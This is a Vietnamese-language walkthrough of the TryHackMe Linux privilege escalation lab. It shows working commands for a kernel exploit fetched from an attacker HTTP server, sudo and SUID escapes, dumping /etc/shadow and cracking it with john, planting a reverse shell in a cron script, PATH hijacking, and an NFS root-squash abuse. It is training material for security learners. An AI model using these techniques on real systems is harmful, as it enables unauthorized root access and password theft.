Bài viết

TryHackMe - Leo thang đặc quyền trên Linux

Nhiều phương pháp khác nhau để leo thang đặc quyền trên Linux

TryHackMe - Leo thang đặc quyền trên Linux

Giới thiệu

Leo thang đặc quyền là một phần thiết yếu trong kiểm thử xâm nhập và hacking nói chung, vì đây là cách để giành toàn quyền truy cập vào máy từ xa.

Tryhackme Room Link

Leo thang đặc quyền là gì?

  • Leo thang đặc quyền là quá trình giành được mức truy cập hoặc quyền hạn cao hơn trên hệ thống so với mức được cấp ban đầu.

Hai loại leo thang đặc quyền chính:

  1. Leo thang đặc quyền theo chiều dọc (nâng quyền) – Kẻ tấn công giành được quyền hạn cao hơn, chẳng hạn chuyển từ tài khoản người dùng thông thường lên quyền quản trị viên hoặc root. Điều này thường xảy ra thông qua việc khai thác lỗ hổng phần mềm, cấu hình sai hoặc đánh cắp thông tin đăng nhập.

  2. Leo thang đặc quyền theo chiều ngang – Kẻ tấn công vẫn giữ nguyên mức đặc quyền nhưng giành được quyền truy cập vào tài khoản hoặc tài nguyên của người dùng khác. Ví dụ, một người dùng thông thường có thể truy cập dữ liệu riêng tư của người dùng khác.

Liệt kê thông tin

Hãy khởi động máy và truy cập qua ssh bằng thông tin đăng nhập được cung cấp.

1
2
ssh karen@10.10.151.202
Password1

Room giới thiệu cho chúng ta các lệnh liệt kê thông tin Linux cơ bản sau:

  • hostname - hiển thị tên máy chủ của máy mục tiêu
  • uname -a - hiển thị thông tin hệ thống và các chi tiết bổ sung về kernel mà hệ thống đang sử dụng
  • /proc/version - hiển thị phiên bản kernel và thông tin về bản build
  • /etc/issue – hiển thị thông tin nhận dạng hệ thống, bao gồm phiên bản hệ điều hành
  • ps – liệt kê các tiến trình đang chạy
  • env – hiển thị các biến môi trường
  • sudo -l – liệt kê các lệnh sudo mà người dùng được phép chạy
  • ls – liệt kê các tệp và thư mục
  • id – hiển thị ID người dùng và nhóm
  • /etc/passwd – chứa thông tin về các tài khoản người dùng
  • history – hiển thị các lệnh đã được thực thi trước đó
  • ifconfig – hiển thị thông tin về các giao diện mạng, hiện đã lỗi thời nên nên sử dụng ip a
  • netstat – hiển thị các kết nối mạng và cổng, hiện đã lỗi thời nên nên sử dụng ss
  • find – tìm kiếm tệp và thư mục

Tên máy chủ của hệ thống mục tiêu là gì?

1
2
hostname
wade7363

Câu trả lời:

1
wade7363

Phiên bản Linux kernel của hệ thống mục tiêu là gì?

1
2
uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Câu trả lời:

1
3.13.0-24-generic

Đây là bản phân phối Linux nào?

1
2
cat /etc/issue
Ubuntu 14.04 LTS

Câu trả lời:

1
Ubuntu 14.04 LTS

Phiên bản ngôn ngữ Python nào được cài đặt trên hệ thống?

1
2
3
4
python
Python 2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.

Câu trả lời:

1
2.7.6

Lỗ hổng nào có vẻ ảnh hưởng đến kernel của hệ thống mục tiêu? Hãy nhập mã CVE.

Để trả lời câu hỏi này, chúng ta chỉ cần tìm kiếm phiên bản kernel trên Google và thêm từ khóa CVE.

CVE

Câu trả lời:

1
CVE-2015-1328

Các công cụ liệt kê tự động

Biết những công cụ tự động hóa nào có sẵn là điều hữu ích. Cá nhân tôi mới chỉ sử dụng LinPeas:

  1. LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
  2. LinEnum: https://github.com/rebootuser/LinEnum
  3. LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
  4. Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
  5. Linux Priv Checker: https://github.com/linted/linuxprivchecker

Leo thang đặc quyền: Khai thác kernel

Về cơ bản, room yêu cầu chúng ta sử dụng CVE đã tìm thấy. Các bước tiếp theo là:

  1. Tải exploit từ Exploit-DB
  2. Chuyển exploit sang máy nạn nhân
  3. Biên dịch và chạy nó

Sau khi tải exploit xuống, hãy khởi động máy chủ HTTP bằng Python tại thư mục chứa tệp để chúng ta có thể tải nó xuống máy nạn nhân.

Máy tấn công:

1
2
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Máy nạn nhân (trước tiên, chúng ta cần chuyển đến thư mục /tmp vì không có quyền ghi ở những nơi khác):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cd /tmp
$ wget http://10.14.99.72/37292.c
Connecting to 10.14.99.72:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: ‘37292.c’

100%[=====================================================================>] 5,119       --.-K/s   in 0s      

2025-03-02 10:11:16 (277 MB/s) - ‘37292.c’ saved [5119/5119]
$ uname -a
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
$ gcc 37292.c -o 37292
$ ./37292
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id  
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Và chúng ta nhận được flag đầu tiên.

Flag 1

Leo thang đặc quyền: Sudo

Hãy kiểm tra xem chúng ta có thể chạy những gì bằng sudo.

1
2
3
4
5
sudo -l
User karen may run the following commands on ip-10-10-118-61:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

Người dùng “karen” có thể chạy bao nhiêu chương trình trên hệ thống mục tiêu với quyền sudo?

Câu trả lời:

1
3

Nội dung của tệp flag2.txt là gì?

https://gtfobins.github.io/gtfobins/less/

Leo thang đặc quyền bằng less
  1. Chạy less bằng sudo
  2. Nhập !/bin/bash để tạo shell
1
2
3
$ sudo less /etc/profile
# id
uid=0(root) gid=0(root) groups=0(root)

Less

Leo thang đặc quyền bằng find

https://gtfobins.github.io/gtfobins/find/#sudo

1
2
3
sudo find . -exec /bin/sh \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Find

Leo thang đặc quyền bằng nano

https://gtfobins.github.io/gtfobins/nano/#sudo

  1. Chạy nano bằng sudo
  2. Nhấn Ctrl + R, sau đó Ctrl + X
  3. Nhập reset; sh 1>&0 2>&0, rồi nhấn Enter
  4. Chúng ta có một root shell

Nano 1

Nano2

Và chúng ta có thể lấy flag2.

Nano2

Bạn sẽ sử dụng Nmap như thế nào để tạo root shell nếu người dùng của bạn có quyền sudo đối với Nmap?

Câu trả lời:

1
sudo nmap --interactive

Hash mật khẩu của frank là gì?

Vì chúng ta đã có quyền root, hãy đọc trực tiếp tệp shadow.

Nano2

Leo thang đặc quyền: SUID

Trong điều kiện bình thường, bạn cấu hình quyền cho các tệp và thư mục, nhưng điều này thay đổi với SUID (Set-user Identification).

SUID cho phép các tệp được thực thi với mức quyền của chủ sở hữu tệp hoặc chủ sở hữu nhóm.

Người dùng nào có cùng tên với một tác giả truyện tranh nổi tiếng?

1
cat /etc/passwd

Writer

Mật khẩu của user2 là gì?

1
base64 /etc/shadow | base64 --decode | tail

user2

Bây giờ, chúng ta chỉ cần bẻ khóa hash bằng john.

1
2
$ echo '$6$m6VmzKTbzCD/.I10$cKOvZZ8/rsYwHd.pE099ZRwM686p/Ep13h7pFMBCG4t7IukRqc/fXlA1gHXh9F2CbwmD4Epi1Wgh.Cl.VV1mb/' > hash.txt
john hash.txt

Password

Nội dung của tệp flag3.txt là gì?

Có vẻ như chúng ta không thể đọc trực tiếp flag, mà cần sử dụng cùng lệnh base64 để đọc nó.

Flag 3

Leo thang đặc quyền: Capabilities

Có bao nhiêu tệp nhị phân được gán capabilities?

Theo hướng dẫn của room, chúng ta chuyển thông báo lỗi vào /dev/null bằng lệnh sau:

1
getcap -r / 2>/dev/null

getcap

Tệp nhị phân nào khác có thể được khai thác thông qua capabilities của nó?

Room cho chúng ta thấy cách khai thác tệp nhị phân vim, vì vậy tệp còn lại có thể được sử dụng là view.

Câu trả lời:

1
view

Nội dung của tệp flag4.txt là gì?

1
2
find / -name flag4.txt 2>/dev/null
/home/ubuntu/flag4.txt

Leo thang đặc quyền: Cron Jobs

Ba điểm chính:

  • Cron job chạy các script vào những thời điểm đã lên lịch với quyền của chủ sở hữu
  • Nếu một cron job thuộc sở hữu của root thực thi một script mà chúng ta có thể sửa đổi, chúng ta có thể leo thang đặc quyền
  • Để liệt kê các cron job hiện tại, chúng ta có thể xem tệp /etc/crontab

Chúng ta có thể sử dụng cat để đọc tệp và thấy một phần giải thích rất hữu ích.

Crontab

Bạn có thể thấy bao nhiêu cron job do người dùng định nghĩa trên hệ thống mục tiêu?

Câu trả lời:

1
4

Nội dung của tệp flag5.txt là gì?

Hãy chèn script reverse shell của chúng ta vào tệp backup.sh và chờ cron job chạy.

Đừng quên khởi động Netcat listener trên máy tấn công.

1
nano backup.sh

Crontab

Sau vài phút, tôi nhận ra rằng tệp không thể được thực thi :D Hãy cấp quyền thực thi cho tệp.

1
chmod +x backup.sh

Sau một lúc, chúng ta nhận được kết nối.

Shell

Flag5

Mật khẩu của Matt là gì?

Được rồi, chúng ta thực hiện như sau:

  1. Dùng cat để đọc tệp shadow
  2. Lưu hash mật khẩu của Matt vào tệp hash2.txt trong trường hợp này
  3. Bẻ khóa hash bằng john

Matt hash

Matt pass

Leo thang đặc quyền: PATH

Nguyên lý cơ bản:

  • Nếu một thư mục có quyền ghi nằm trong biến PATH, bạn có thể chiếm quyền thực thi bằng cách đặt một script độc hại có cùng tên với một lệnh thường được sử dụng
  • Khi hệ thống tìm kiếm lệnh đó, nó có thể thực thi script của bạn thay thế, từ đó có khả năng dẫn đến leo thang đặc quyền

Thư mục bất thường nào mà bạn có quyền ghi?

Chúng ta có thể kiểm tra những vị trí mình có quyền ghi bằng lệnh find.

1
find / -writable 2>/dev/null | tail

Sau một lúc, lệnh trả về kết quả.

Path

Câu trả lời:

1
/home/murdoch

Nội dung của tệp flag6.txt là gì?

Bước này khiến tôi mất khá nhiều thời gian, nhưng đây là cách thực hiện:

  1. Chuyển đến thư mục /home/murdoch
  2. Ghi /bin/bash vào tệp thm vì đây là tệp sẽ được thực thi
  3. Hiển thị biến $PATH hiện tại để kiểm tra lại
  4. Xuất lại biến PATH và thêm thư mục hiện tại vào đầu
  5. Chạy tệp test
1
2
3
4
5
6
7
8
9
10
$ cd /home/murdoch
$ echo '/bin/bash' > thm
$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ export PATH=/home/murdoch:$PATH
$ echo $PATH
/home/murdoch:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ ./test
root@ip-10-10-215-168:/home/murdoch# id
uid=0(root) gid=0(root) groups=0(root),1001(karen)

Matt pass

Sau đó, chúng ta có thể tìm và hiển thị flag.

Matt pass

Leo thang đặc quyền: NFS

Bạn có thể xác định được bao nhiêu thư mục chia sẻ có thể mount trên hệ thống mục tiêu?

Trước tiên, chúng ta cần kiểm tra các thư mục chia sẻ trên máy nạn nhân từ máy tấn công.

1
showmount -e 10.10.175.134

NFS 1

Có bao nhiêu thư mục chia sẻ được bật tùy chọn “no_root_squash”?

Trên máy nạn nhân:

1
cat /etc/exports

NFS 2

Nội dung của tệp flag7.txt là gì?

Chúng ta có thể thực hiện như sau:

  1. Tạo một thư mục trong /tmp để mount thư mục chia sẻ NFS
  2. Mount ổ đĩa
  3. Tạo tệp mã nguồn để thực thi /bin/bash
  4. Biên dịch và cấp quyền phù hợp
  5. Chuyển sang máy mục tiêu và chạy tệp thực thi
1
2
3
4
5
mkdir /tmp/nfscd /tmp/nfs
mount -o rw 10.10.175.134:/home/ubuntu/sharedfolder /tmp/nfs
nano shell
gcc shell.c -o shell -w
chmod +s shell

Thử thách tổng kết

Có vẻ đây là thử thách cuối cùng, vì vậy hãy hoàn thành nó.

Đăng nhập vào máy qua SSH và kiểm tra xem chúng ta có thể chạy lệnh nào bằng sudo hay không.

1
2
3
4
5
6
7
8
9
10
11
12
13
ssh leonard@10.10.249.6
[leonard@ip-10-10-249-6 ~]$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for leonard: 
Sorry, user leonard may not run sudo on ip-10-10-249-6.
[leonard@ip-10-10-249-6 ~]$ 

Không may là chúng ta không thể chạy bất kỳ lệnh nào bằng sudo.

Vì vậy, hãy tiếp tục áp dụng những kỹ thuật đã học trong quá trình làm room.

Fuel CMS

Không có cron job nào khả dụng.

Hãy kiểm tra các tệp được đặt bit SUID.

1
find / -type f -perm -u=s 2>/dev/null

Flag 2

Có vẻ như chúng ta lại có thể sử dụng base64.

base64

Sau vài lần thử, cuối cùng chúng ta đã thành công.

Flag 2

Flag 1

Có vẻ như flag1.txt được lưu ở một vị trí khác.

Hãy thử lấy mật khẩu của người dùng missy.

  1. Lấy hash từ tệp /etc/shadow
  2. Bẻ khóa hash bằng john
1
base64 /etc/shadow | base64 --decode | grep missy

Missy

Sau đó, bẻ khóa hash bằng John.

Missy pass

Bây giờ, chúng ta có thể chuyển sang người dùng missy và kiểm tra các tệp khả dụng.

1
su missy

Sau đó, chúng ta tìm thấy vị trí và nội dung của flag1.txt.

Flag 1

Tôi không chắc liệu thử thách có được thiết kế để giải theo cách này hay không vì tôi đã lấy các flag theo thứ tự ngược lại, nhưng vẫn có nhiều con đường khác nhau để đi đến đích.

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .